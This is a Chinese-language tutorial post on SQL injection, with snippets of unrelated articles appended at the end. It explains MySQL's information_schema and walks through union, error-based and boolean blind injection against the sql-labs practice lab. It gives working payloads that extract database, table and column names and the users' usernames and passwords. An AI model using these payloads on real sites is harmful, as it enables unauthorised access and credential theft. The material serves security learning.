当前位置: 首页 > news >正文

【web安全】——sql注入

1.MySQL基础

1.1information_schema数据库详解

简介:

在mysql5版本以后,为了方便管理,默认定义了information_schema数据库,用来存储数据库元数据信息。schemata(数据库名)、tables(表名tableschema)、columns(列名或字段名)。

schemata表详解

在schemata表中,schema name字段用来存储用户创建的所有数据库名

tables表详解

tables表存储该用户创建的所有数据库的库名和表名,table schema用来存储该数据隶属于哪个数据库,table name用来存储表名。

columns表详解

columns表存储了mysql下的每一个数据表中的所有列名,column_name用来存储字段名table name用来存储该字段属于哪一个数据表、table schema用来存储当前字段所属数据表所在的数据库名称。

1.2常用sql语句

show databases; 查看所有数据库

create database testl;创建一个名为test数据库

drop database test; 删除一个叫test的数据库

use test 选中库

show table 在选中的数据库中查看所有表

create table 表名(字段1 类型,字段2,类型)

desc 表名 ; 查看所在的表的字段

show create database 库名;查看创建库的详细信息

show create table 表名;查看创建表的详细信息

查询

1.条件查询

select username,name from user,goods where user,gid=dods,gid;

修改表的命令

1.修改字段类型 alter table 表名 modify字段 字段类型;

2.添加新的字段 alter table 表名 add 字段 字段类型

3.添加字段并指定位置 alter table 表名 add字段 字段类型 after 字段;

4.删除字段 alter table 表名 drop 字段名

5.修改指定字段 alter table 表名 change 原字段名字 新的字段名字 字段类型

对数据库的操作命令

1.增加数据的方式

insert into 表名 values(值1,值2,....)

insert into 表名(字段1,字段2,....)values(值1,值2,....),值1,值2,....)

2.删除数据

delete from 表名 where 条件 注意:where 条件必须加,否则数据会被全部删除

3.更新数据.

update 表名 set字段1=值1,字段2=值2 where 条件

4.查询数据

查询表中所有数据 select * from 表名

指定数据查询 select 字段 from 表名

根据条件查询出来的数据 select 字段 from 表名 where 条件

where 条件后面跟的条件关系:>,<,>=,<=,!= 逻辑:or,and 区间:id between 4 and 6;闭区间,包含边界

5.排序

select 字段 from 表 order by 字段 非序关键词(desclasc)desc 降序 asc 升序(默认)

6.常用的统计函数

sum,avg ,count,max,min

只分组:select * from 表 group by 字段

分组统计:select count(sex)from star group by sex;

7.分组 select * from 表名 limit 偏移量,数量说明

1.3常用函数

函数

作用

version()

查看mysql数据库版本

user()

查看数据库用户名

database()

查看数据库名称

@@basedir

查看数据库安装路径

@@datadir

查看数据库文件存放路径

@@version_compile_os

查看操作系统版本

1.3.1union联合注入函数

concat()用来拼接字符串,直接拼接,字符串之间没有符号

concat_ws() 可以指定符号拼接字符串

group_caoncat() 指定符号拼接字符串

1.4mysql中的注释符

#单行注释 url编码为%23

--空格 单行注释

/*()*/多行注释

1.5常见数据库默认端口号

关系型数据库

mysql 3306

sqlserver 1433

oracle 1521

psotgresql 5432

非关系型数据库

MongDB 27017

Redis 6379

2.sql注入基础

2.1漏洞成因原理

web分为前端和后端,前端负责数据显示,后端负责处理来自前端的请求并且并提供前端展示的资源,而资源就存储在数据库中。而sql注入漏洞形成的原因就是,web应用程序对用户输入的参数未做好过滤,导致攻击者可以构造sql语句,在管理员不知情情况下实现非法操作,一起获取关键信息。

必要成因

参数用户可控

参数带入数据库中查询

2.2漏洞的危害

1.获取网站服务器中的数据 数据库中存放的用户的隐私信息的泄露。

2.写入木马获取shell 修改数据库一些字段的值,嵌入网马链接,进行挂马攻击

3.网页篡改 通过操作数据库对特定网页进行篡改

4.添加恶意用户

5.权限提升,安装后门 经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统

2.3sql注入分类

2.3.1按数据类型分类

数字型;字符型;搜索型

2.3.2按提交方式分类

get型 post型 http头型

2.3.3按注入手法分类

union联合注入

union 函数用于对两个或者多个sql查询结果进行取并集操作。

盲注(布尔盲注,时间盲注,dnslog外带注入)

报错注入(闭合符报错注入、报错函数(updatexmk,exp,floor))

异或注入

二次注入

宽字节注入

堆叠注入

2.4判断注入点

2.4.1方法

(以数字型为例 )

单引号判断

如果页面返回错误,则存在sql注入

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面不正常

select * from users where id and 1=1 limt 0,1 页面正常

SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 页面不正常

2.4.2注入类型判断

select*from user where id=1and1=1

如果满足,就是一个数字类型(确定id=1存在)

3.union联合注入

联合注入是回显注入的一种,也就是说联合注入的前提条件就是需要页面上有回显位。联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的列数要相同,不然会出现报错。

前提:

1、union select 查询的列数要和它之前的语句返回的列数相同(重点)

2、每列的数据类型要相同

基本思路:

判断注入点->判断类型->构造闭合->判断类型->判断显示位->获取数据库信息->获取表名->获取列名->获取字段名

3.1判断注入点与注入类型

以sql-labs第一关为例

?id=1 and 1=2(先输入id=1 然后在后面拼接1=2)

显示正常 说明1=2没有被执行

尝试加引号进行闭合

?id=1' and 1=2

页面出现错误,说明1=2被执行,说明我们输入的sql语句被成功执行

因此判断出 注入点在引号后面,注入类型为字符串型

查看源码,符合猜想

3.2判断字段数

使用order by 1,2,3...尝试

在尝试到4的时候页面出现错误,说明字段数为3

3.3判断回显点

使用联合查询 因为字段数为3 所以 union select 1,2,3

为什么没有显示出回显点呢???

因为此时 显示id=1时的界面 可以将id改为不存在的数或一个大点的数字

可以看到 回显点为2,3

3.4查询数据库

?id=1' union select 1,database(),3 -- +

查询数据库 使用database()

回显点可以看到 数据库名称为 security

3.5获取表名

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table schema='security'--+

也可以使用limit逐个查询

使用group_concat 但如果表名过多可能会显示不完整

3.6查询列名

?id=-1 union select 1,2,group_concat(column_name) frominformation_schema.columns where table_name='users'--+

在users表中查到了 id与password字段

3.7查数据

?id=-1 union select 1,group_concat(username),group_concat(password) from users-- +

4.报错注入

4.1原理:

报错注入就是利用数据库的某些机制,人为的去构造sql错误,使得想要的信息能够通过报错信息得到

4.2常见报错函数

floor();extractValue();updateXml();NAME_CONST();jion();exp()

4.2.1floor函数报错注入

floor报错注入是利用数据库表主键不能重复的原理,使用group_by分组,产生主键冲突,导致报错。要保证floor报错注入,那么必须保证査询的表必须大于三条数据,并且mysql版本需满足大于5.0小于8.x的条件。

select count(*),floor(rand(0)*2)xfrom ceshi group by x;

floor():向下取整,例如select floor(1.7),返回1rand():返回一个0~1的随机数,如果是rand(0)或rand(1),则每次执行的结果是相同的COUNT(*):返回值的条目,与count()的区别在于其不排除NULL,count()如果统计到NULL,返回的结果即为NULL。

group by():语句用于结合聚合函数,根据一个或多个列对结果集进行分组。

4.2.2updateXml()报错注入

先了解一下updatexml函数的语法

updatexml(XML document,xpath_string,new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法的话可以上网搜搜,这里你只需要知道如果不满足新path格式的字符串那么都会产生报错。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

利用:我们可以构建一个非法的路径,在第二个参数中。 concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

在第二个参数中,将我们的恶意语句用concat函数包裹起来即可,此时程序的报错信息中就会返回执行我们恶意命令后的结果

4.2.3extractValue()报错注入

EXTRACTVALUE (XML_document, XPath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath string(Xpath格式的字符串)

原理同updatexml,都是构建非法路径,通过报错信息得到我们想要的信息

5.盲注

5.1原理

程序员在开发过程中,隐藏了数据库的内建报错信息,并替换为通用的错误提示,那么SQL注入将无法依据报错信息判断注入语句的执行结果,这就是“盲”的意思。

其中,盲注又分为时间盲注与布尔盲注

布尔盲注:当页面只有正常(true)与不正常(false)两种回显时候,我们通过自己输入的sql语句与页面的回应,去判断数据信息。

时间盲注:通过sql语句与sleep()函数进行拼接,通过判断网站sleep时间去判断我们输入的sql语句是否正确,得到想要的信息。

5.2盲注的步骤

求数据库名的长度及ASCII->求当前数据库表的ASCII->求当前数据库表中的个数->求数据库中表名的长度>求数据库中表名->求列名的数量->求列名的长度->求列名的ASCII->求字段的数量->求字段的长度->求字段内容ASCII

5.3布尔盲注

5.3.1布尔盲注使用的函数

substr()截取函数

语法:substr(str,start, length)

第一个参数str为被截取的字符串。

第二个参数start为开始截取的位置。

第三个参数1ength为截取的长度。

left()截取函数

语法:left(str,length)

第一个参数str为被截取的字符串。

第二个参数1ength为截取的长度,

right()截取函数

语法:rigth(user(),2)

参考left()函数用法。

length()计算函数

语法:length(str)

第一个参数str为字符串。

5.3.2布尔盲注演示

1.判断注入点与注入类型同上 不再做演示
2.判断数据库版本

?id=1'and left(version(),1)=5--+

页面显示正常,说明版本号第一个数字为5,以此类推将版本号找出来

3.猜测数据库名字长度

同理,通过各种大于号,小于号的判断,观察页面显示是否正常,判断出数据库长度大概所在范围

?id=1'and length(database())=8--十

页面显示正常,说明数据库名字长度为8

4.判断数据库名

?id=1'and ascii(substr(database(),1,1))>100--+ 页面正常

?id=1'and ascii(substr(database(),1,1))<120--+页面正常?

说明,数据库名的第一个字符的ASCII码位于100-120之间,继续判断

?id=1'and ascii(substr(database(),1,1))=115 --+ 页面正常

查询ASCII表后得知 数据库名第一个字母为s 以此类推,将数据库名字推理出来

5.猜测表的数量

?id=1'and (length((select table_name from information_schema.tables where

table_ schema='security'limit 4,1)))>0--+页面不正常

limit替换为3,1的时候正常 说明表的数量为4

limit 4,1表示从4开始取第一个表,即第五张表,页面显示不正常,而3,1正常说明为数量4

6.猜测表名的长度

与猜测库名长度的sql语句类似,只是length的对象变成了表

7.猜测表名

同上,与猜数据库名的方法类似,将substr中的数据库换位表

8.猜测列数

同理使用length(),参数变为column_name

9.猜测列名长度

见猜测表名长度

10.猜测列名

见猜测表名

11.猜测字段名长度

?id=1'and (length((select username from users limit 0,1)))=4--+

12.猜测字段名

?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68--+

结果为大写D 依次类推

由于靠上面猜测过于费时费力,因此对于盲注我们常常使用脚本辅助

相关文章:

【web安全】——sql注入

1.MySQL基础 1.1information_schema数据库详解 简介&#xff1a; 在mysql5版本以后&#xff0c;为了方便管理&#xff0c;默认定义了information_schema数据库&#xff0c;用来存储数据库元数据信息。schemata(数据库名)、tables(表名tableschema)、columns(列名或字段名)。…...

vue基础面试题

1.Vue指令 v-bind&#xff1a;动态绑定数据 v-on&#xff1a;绑定事件监听器 v-for&#xff1a;循环指令&#xff0c;可以循环数组或对象 v-if&#xff1a;根据表达式的真假值&#xff0c;判断是否渲染元素&#xff0c;会销毁并重建 v-show&#xff1a;显示隐藏元素&#xff0…...

关系型数据库和非关系型数据库的区别

1.常见的主流数据库 关系型数据库&#xff1a; MySql 、达梦 、PostgreSQL 、Oracle 、Sql Server 、Sqlite非关系型数据库&#xff1a; Redis 、MongoDB 、HBase 、 Neo4J 、 CouchDB 2.介绍 关系型数据库最典型的数据结构是表&#xff0c;由二维表及其之间的联系…...

学习之什么是迭代器

什么是迭代器 迭代器的作用&#xff1a;访问容器中的元素 首先要了解什么是Iterablelterable(可迭代的) 字符串、列表、元组、字典都是lterable&#xff0c;都可以放到for循环语句中遍历 lterable类型的定义中一定有一个_iter_方法iter 方法必须返回一个lterator(迭代器) 可以…...

数据结构-3.6.队列的链式实现

队列可以理解为单链表的阉割版&#xff0c;相比单链表而言&#xff0c;队列只有在添加和删除元素上和单链表有区别 一.队列的链式实现&#xff1a; 1.图解&#xff1a; 2.代码&#xff1a; #include<stdio.h> ​ typedef struct LinkNode //链式队列结点 {int data;st…...

Java中去除字符串中的空格

在平时的开发中&#xff0c;在后端经常要获取前端传过来的字符串&#xff0c;有的是用户从输入框中输入的&#xff0c;有的是通过excel表格中获取的。 在这些字符串中&#xff0c;有时候会遇到字符串中有空格、换行符或者制表符&#xff0c;对于这种字符串来说&#xff0c;直接…...

AI大模型算法工程师就业宝典—— 高薪入职攻略与转行秘籍!

从ChatGPT到新近的GPT-4&#xff0c;GPT模型的发展表明&#xff0c;AI正在向着“类⼈化”⽅向迅速发展。 GPT-4具备深度阅读和识图能⼒&#xff0c;能够出⾊地通过专业考试并完成复杂指令&#xff0c;向⼈类引以为傲的“创造⼒”发起挑战。 现有的就业结构即将发⽣重⼤变化&a…...

node-rtsp-stream、jsmpeg.min.js实现rtsp视频在web端播放

1. 服务地址&#xff08;私有&#xff09;&#xff1a;https://gitee.com/nnlss/video-node-server 2.node-rtsp-stream 需要安装FFMPEG&#xff1b; 3.给推拉流做了开关&#xff0c;可借助http请求&#xff0c;有更好方式可联系&#xff1b; 4.存在问题&#xff1a; 1&…...

C++ 9.27

作业&#xff1a; 将之前实现的顺序表、栈、队列都更改成模板类 Stack #include <iostream> using namespace std; template <typename T> class Stack { private: T* arr; // 存储栈元素的数组 int top; // 栈顶索引 int capacity; // 栈的…...

让具身智能更快更强!华东师大上大提出TinyVLA:高效视觉-语言-动作模型,遥遥领先

论文链接&#xff1a;https://arxiv.org/pdf/2409.12514 项目链接&#xff1a;https://tiny-vla.github.io/ 具身智能近期发展迅速&#xff0c;拥有了大模型"大脑"的机械臂在动作上更加高效和精确&#xff0c;但现有的一个难点是&#xff1a;模型受到算力和数据的制…...

Excel 获取某列不为空的值【INDEX函数 | SMALL函数或 LARGE函数 | ROW函数 | ISBLANK 函数】

〇、需求 Excel 获取某列不为空的值(获取某列中第一个非空值 或 获取某列中最后一个非空值)。 一、知识点讲解 INDEX函数 和 SMALL函数 两个函数搭配使用都可以实现上述需求 获取某列中第一个非空值 。 INDEX函数 和 LARGE函数 两个函数搭配使用都可以实现上述需求 获取某…...

爆火!大模型算法岗 100 道面试题全解析,赶紧收藏!

大模型应该是目前当之无愧的最有影响力的AI技术&#xff0c;它正在革新各个行业&#xff0c;包括自然语言处理、机器翻译、内容创作和客户服务等等&#xff0c;正在成为未来商业环境的重要组成部分。 截至目前大模型已经超过200个&#xff0c;在大模型纵横的时代&#xff0c;不…...

Python画笔案例-068 绘制漂亮米

1、绘制漂亮米 通过 python 的turtle 库绘制 漂亮米,如下图: 2、实现代码 绘制 漂亮米,以下为实现代码: """漂亮米.py注意亮度为0.5的时候最鲜艳本程序需要coloradd模块支持,安装方法:pip install coloradd程序运行需要很长时间,请耐心等待。可以把窗口最小…...

得物App荣获国家级奖项,正品保障引领潮流电商新风尚

近日&#xff0c;在2024年中国国际服务贸易交易会上&#xff0c;得物App凭借其在科技创新保障品质消费领域的突出成果&#xff0c;再次荣获国家级殊荣——“科技创新服务示范案例”。这是继上海市质量金奖之后&#xff0c;得物App获得的又一个“高含金量”奖项。 作为深受年轻人…...

【BurpSuite】SQL注入 | SQL injection(1-2)

&#x1f3d8;️个人主页&#xff1a; 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞&#x1f44d;收藏&#x1f497;支持一下哦 【BurpSuite】SQL注入 | SQL injection&#xff08;1-2&#xff09; 实验一 Lab: SQL injection vulnerability in WHERE clause…...

ThreadPoolExecutor有哪些核心的配置参数?

ThreadPoolExecutor 是 Java 中强大的线程池实现&#xff0c;具有多种配置参数&#xff0c;可以灵活地根据具体应用需求进行调整。以下是 ThreadPoolExecutor 的核心配置参数及其简要说明&#xff1a; 1. corePoolSize 描述&#xff1a;核心线程池的大小&#xff0c;即最小保…...

关于工作虚拟组的一些思考

这是学习笔记的第 2493篇文章 因为各种工作协作&#xff0c;势必要打破组织边界&#xff0c;可能会存在各种形态的虚拟组。 近期沉淀了一些虚拟组的管理方式&#xff0c;在一定时间范围内也有了一些起色&#xff0c;所以在不断沉淀的过程中&#xff0c;也在不断思考。 这三个虚…...

【Redis入门到精通六】在Spring Boot中集成Redis(含配置和操作演示)

目录 Spring Boot中集成Redis 1.项目创建和环境配置 2.基本操作演示 Spring Boot中集成Redis Spring社区也自定义了一套Redis的客户端&#xff0c;与jedis的操作方式有所差异&#xff0c;Spring中把每个类型的操作都单独封装了起来。下面就让我来带大家了解如何在Spring Boot…...

【CSS】透明度 、过渡 、动画 、渐变

opacity 透明度transition 过渡animation 动画background 渐变 ( 线性渐变 \ 径向渐变 \ 锥形渐变 ) opacity 透明度 设置元素的透明度&#xff0c;会影响元素及其所有子元素的透明度&#xff0c;值范围&#xff1a;0&#xff08;完全透明&#xff09;到 1&#xff08;完全不透…...

尚硅谷vue3+TypeScript笔记大全

1. Vue3简介 2020年9月18日&#xff0c;Vue.js发布版3.0版本&#xff0c;代号&#xff1a;One Piece&#xff08;n 经历了&#xff1a;4800次提交、40个RFC、600次PR、300贡献者 官方发版地址&#xff1a;Release v3.0.0 One Piece vuejs/core 截止2023年10月&#xff0c;最…...

【C++进阶篇】智能指针

C内存管理终极指南&#xff1a;智能指针从入门到源码剖析 一. 智能指针1.1 auto_ptr1.2 unique_ptr1.3 shared_ptr1.4 make_shared 二. 原理三. shared_ptr循环引用问题三. 线程安全问题四. 内存泄漏4.1 什么是内存泄漏4.2 危害4.3 避免内存泄漏 五. 最后 一. 智能指针 智能指…...

宇树科技,改名了!

提到国内具身智能和机器人领域的代表企业&#xff0c;那宇树科技&#xff08;Unitree&#xff09;必须名列其榜。 最近&#xff0c;宇树科技的一项新变动消息在业界引发了不少关注和讨论&#xff0c;即&#xff1a; 宇树向其合作伙伴发布了一封公司名称变更函称&#xff0c;因…...

4. TypeScript 类型推断与类型组合

一、类型推断 (一) 什么是类型推断 TypeScript 的类型推断会根据变量、函数返回值、对象和数组的赋值和使用方式&#xff0c;自动确定它们的类型。 这一特性减少了显式类型注解的需要&#xff0c;在保持类型安全的同时简化了代码。通过分析上下文和初始值&#xff0c;TypeSc…...

Golang——7、包与接口详解

包与接口详解 1、Golang包详解1.1、Golang中包的定义和介绍1.2、Golang包管理工具go mod1.3、Golang中自定义包1.4、Golang中使用第三包1.5、init函数 2、接口详解2.1、接口的定义2.2、空接口2.3、类型断言2.4、结构体值接收者和指针接收者实现接口的区别2.5、一个结构体实现多…...

论文阅读笔记——Muffin: Testing Deep Learning Libraries via Neural Architecture Fuzzing

Muffin 论文 现有方法 CRADLE 和 LEMON&#xff0c;依赖模型推理阶段输出进行差分测试&#xff0c;但在训练阶段是不可行的&#xff0c;因为训练阶段直到最后才有固定输出&#xff0c;中间过程是不断变化的。API 库覆盖低&#xff0c;因为各个 API 都是在各种具体场景下使用。…...

Python 训练营打卡 Day 47

注意力热力图可视化 在day 46代码的基础上&#xff0c;对比不同卷积层热力图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader import matplotlib.pypl…...

ubuntu系统文件误删(/lib/x86_64-linux-gnu/libc.so.6)修复方案 [成功解决]

报错信息&#xff1a;libc.so.6: cannot open shared object file: No such file or directory&#xff1a; #ls, ln, sudo...命令都不能用 error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory重启后报错信息&…...

从零开始了解数据采集(二十八)——制造业数字孪生

近年来&#xff0c;我国的工业领域正经历一场前所未有的数字化变革&#xff0c;从“双碳目标”到工业互联网平台的推广&#xff0c;国家政策和市场需求共同推动了制造业的升级。在这场变革中&#xff0c;数字孪生技术成为备受关注的关键工具&#xff0c;它不仅让企业“看见”设…...

2.2.2 ASPICE的需求分析

ASPICE的需求分析是汽车软件开发过程中至关重要的一环&#xff0c;它涉及到对需求进行详细分析、验证和确认&#xff0c;以确保软件产品能够满足客户和用户的需求。在ASPICE中&#xff0c;需求分析的关键步骤包括&#xff1a; 需求细化&#xff1a;将从需求收集阶段获得的高层需…...

C++ Saucer 编写Windows桌面应用

文章目录 一、背景二、Saucer 简介核心特性典型应用场景 三、生成自己的项目四、以Win32项目方式构建Win32项目禁用最大化按钮 五、总结 一、背景 使用Saucer框架&#xff0c;开发Windows桌面应用&#xff0c;把一个html页面作为GUI设计放到Saucer里&#xff0c;隐藏掉运行时弹…...